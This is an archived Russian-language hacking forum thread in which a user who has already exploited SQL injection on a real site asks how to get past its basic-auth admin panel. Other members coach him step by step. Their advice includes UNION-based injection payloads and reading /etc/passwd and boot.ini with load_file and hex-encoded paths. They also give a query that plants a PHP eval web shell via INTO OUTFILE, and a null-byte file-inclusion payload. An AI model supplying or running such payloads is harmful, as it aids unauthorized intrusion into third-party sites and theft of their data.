Просмотр полной версии : Вопрос про авторизацию
NewBHack
30.11.2008, 02:55
Кароч хочу добраться до форума через сайт...
На самом сайте есть админка в которую можно попасть так: http://сайт/admin
Ну когда пытаюсь туда попасть выскакивает Окно для ввода имени и пароля... Сам сайт уязвим, пользуясь уязвимостью смог достать: название базы данных и всех её таблиц с ячейками ну и их значения... Но к сожалению админовской инфы там нет :(
Дак вот я в тупике как я могу воспользоваться тем что имею...
Как поискать скулю к базе данных админки, я так понял она хранится отдельно... Ведь когда пытаюсь зайти на страницу админки сразу окно типа алерта... :(
1. Для вопросов есть спец тема - постить нужно было туда, да и название темы "Растерялся... помогите.." не информативно, больше тем с таким именем не создавай.
2. "Окошко типа" алерта - это базовая авторизация, реализована она может быть, как с помощью файла .htaccess (в таком случае пароль будет храниться в файле указанном в .htaccess, как правило файл .htpasswd) - тут без читалки файлов не обойтись (если пользователь БД имеет права на чтения/запись файлов и права на чтения файлов выставлены так что их можно просматривать из БД, то сможешь просмотреть содержимое файлов, хотя тут лучше смотреть сорцы на наличие других уязвимостей), так и средствами php - в таком случае пароль может быть как в php файле, так и в БД.
Кстати проверить как реализована авторизация не сложно:
Если с помощью .htaccess, то тебе будет не доступна вся диретория: попробуй пройти по ссылке /admin/blablabla - есть окно для ввода логина и пароля появиться, то значит с помощью .htaccess, а если будет ошибка 404, то средствами php.
Как совет - проверь можешь ли ты читать файлы средствами БД.
Если нет, то ищи другие уязвимости, к примеру инклуд.
Предвидя глупый вопрос - нет, прочитать файл .htaccess, пройдя по ссылке /admin/.htaccess нельзя - он не доступен через веб.
NewBHack
30.11.2008, 03:14
Большущее спасибо. Очень доходчиво!!! Только у меня вопрос...
я вот ввел admin/index.php ну и словил окно, потом поменял на блоблобло :) и поймал опять окно... кароч .htaccess
Как быть в таком случае?
А как посмотреть можно ли читать файло средствами БД, тобишь я как бы читал в одной из статей и пробовал SIPT 4 но как бы... глухо... может какой-то конкретный пример?
Еще раз спасибо.
А как посмотреть можно ли читать файло средствами БД.
1. Для начала определись что за Ось - через скулю это не сложно сделать: @@version_compile_os или version() (обычно если винда, то функция version() вернёт версию с постфиксом -nt, к примеру 4.1-nt).
2. Далее попробуй прочитать один из файлов который должен быть доступным для чтения любым пользователем:
load_file('/etc/passwd') для юникс систем
load_file('c:/boot.ini') для винды
Если кавычки нельзя использовать, то конвертируй имя файла в хексы.
Можно ещё посмотреть в таблице mysql.user, права на чтения/запись файлов хранятся в колонке file_priv, но часто бывает, что права на чтения/запись файлов у пользователя БД есть, а на просмотр таблицы mysql.user нет.
3. Если права на чтения файлов есть, то:
- если кавычки не фильтруется, то можно залить шелл через sql запрос:
select '<?php eval($_GET[ev]) ?>' into outfile '/полный путь/shell.php'
- если фильтруются, то только чтение файлов, тут опять нужен полный путь до файла.
Полный путь можно найти в пхпинфо или из какой либо ошибки.
Если прав на работу с файлами у пользователя БД нет, то тут надо уже искать другие уязвимости.
NewBHack
30.11.2008, 04:04
1.Database Version: 5.0.32-Debian_7etch8-log
2.index.php?id=1+and+ascii(substring(load_file('/devic/index.php'),1,1))%3E64/* пробовал вот так... не покатило :( Ковычки в хексы он не превращает...
3. к сожалению инфу о привелегиях так и не нашел...
4. полный путь имеется ввиду /var/www/....???? Ну я брал путь из ошибки которая вылазит када кривая скуля идет... там он аккурат полный путь до файлега выдает...
может я не верно запрос оформил на чтение? и где искать инфу по правам доступа юзера БД. В information.schema нашел Views/security_type ... но она оттуда данные не отдает :(
Спасибо.
2 2.index.php?id=1+and+ascii(substring(load_file('/devic/index.php'),1,1))%3E64/* пробовал вот так... не покатило Ковычки в хексы он не превращает...
Я понять не могу ... у тебя там blind sql ? o_O
ковычки в хексы он и не превратит ... сам зачарь строчку и все дела....
load_file(char(47,101,116,99,47,112,97,115,115,119 ,100))
но в блайнде такое не проктит... но имха что то мне подсказывает что у тя не слепая скуля ... а ты сам написал какую то ерунду....
4.полный путь имеется ввиду /var/www/....???? Ну я брал путь из ошибки которая вылазит када кривая скуля идет... там он аккурат полный путь до файлега выдает...
Именно .. это и есть полный путь ..
load_file(char(47,101,116,99,47,112,97,115,115,119 ,100))
но в блайнде такое не проктит... но имха что то мне подсказывает что у тя не слепая скуля ... а ты сам написал какую то ерунду....
А что собственно не так? Читать файл можно и посимвольно, правда времени это займёт "немного" больше, чем обычно.
NewBHack
30.11.2008, 16:45
не помню в какой-то статье прочитал именно про лоад_файл... вот и пробовал побайтово...
сча попробую зачарить. отпишусь. Спасибо за подсказки.
NewBHack
30.11.2008, 17:15
Кароч к сожалению никак не катит :(
Сначала сам поексперементировал, потом спитом попробовал (он к слову прикольные запросы составляет, оч граммотные... либо мне ето тока кажеццо как нубу - автору респект)
Видимо не судьба... любопытную вещь заметил, чтобы не набрал после admin/... - выводилось окно, а как тока набрал admin/.htaccess пишет Forbidden.. может сюда как то скулю мона сунуть?
может сюда как то скулю мона сунуть?
Нет, ищи другие уязвимости.
NewBHack
01.12.2008, 02:55
Всё не могу успокоиться по поводу етого сайтега... уделите еще минутку внимания :)
составил запрос вот так
index.php?id=5+union+select+1,load_file(CONCAT(CHA R(39),CHAR(47)...)),3,4,5,6/* И о чудо! ошибки на экране не появилось!!! появилась табличка... но содержимого файло я ни нашел в исходнике страницы :( Может ли это говорить о том, что всё таки чтение и запись доступны...???
mysql.user - никак не доступен.. :(
сенкс.
load_file(0x2f6574632f706173737764) - если ничего нету, то читать не можешь, если есть список содержимого /etc/passwd, то ищи по полный/путь/к/файлу/index.php - смотри что к чему обращается и рыскай... не забудь все кодировать
ЗЫ: если не прокатил /etc/passwd то пробуй то, что сказал Grey, c:/boot.ini
c:/boot.ini это 0x633a2f626f6f742e696e69
Ищи иклюд лучше на сайте. php include - это, например, site.ru/file.php?open=../../../etc/passwd%00 и то же самое, что писал в начале.. только тут моно не кодировать)) удачи =)
2 Tigger там винда.
2 NewBHack Если ничего не вывелось, значит возможности читать файлы нету. А ошибки быть и не должно - если у пользователя БД нет прав на работу с файлами, то функция load_file() просто вернёт значение null.
P.S. тему закрываю - ищи другие уязвимости, есть и реверс айпи ещё. А тут всё исчерпано.
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot